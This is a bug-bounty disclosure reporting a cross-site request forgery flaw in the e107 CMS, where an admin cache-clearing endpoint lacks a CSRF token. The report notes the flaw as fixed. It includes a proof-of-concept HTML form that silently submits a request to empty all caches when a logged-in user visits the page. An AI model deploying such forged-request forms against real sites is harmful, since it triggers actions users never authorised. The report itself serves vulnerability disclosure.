Cross-Site Request Forgery (CSRF) in e107inc/e107


Reported on

Sep 13th 2021

✍️ Description

Attacker or malicious user is able to delete all caches if a logged in user visits attacker website. because lack of CSRF token.

🕵️‍♂️ Proof of Concept

1.when you logged in open this POC.html in a browser can check unintentionally all caches are cleared

 <script>history.pushState('', '', '/')</script>
   <form action="http://localhost:8181/ecms-full/e107_admin/cache.php" method="POST">
     <input type="hidden" name="cachestatus" value="0" />
     <input type="hidden" name="syscachestatus" value="0" />
     <input type="hidden" name="jscsscachestatus" value="0" />
     <input type="hidden" name="option_clear_cache" value="empty_all" />
     <input type="hidden" name="trigger_empty_cache" value="Delete" />
     <input type="submit" value="Submit request" />

💥 Impact

This vulnerability is capable of forcing user to unintentional clear caches.

💥 Test

Tested version is 2.3 on Firefox and safari.

💥 Fix

You should set a CSRF token on this requeset.

We have contacted a member of the e107inc/e107 team and are waiting to hear back 2 years ago
Cameron marked this as fixed with commit 2682ae 2 years ago
Cameron has been awarded the fix bounty
This vulnerability will not receive a CVE
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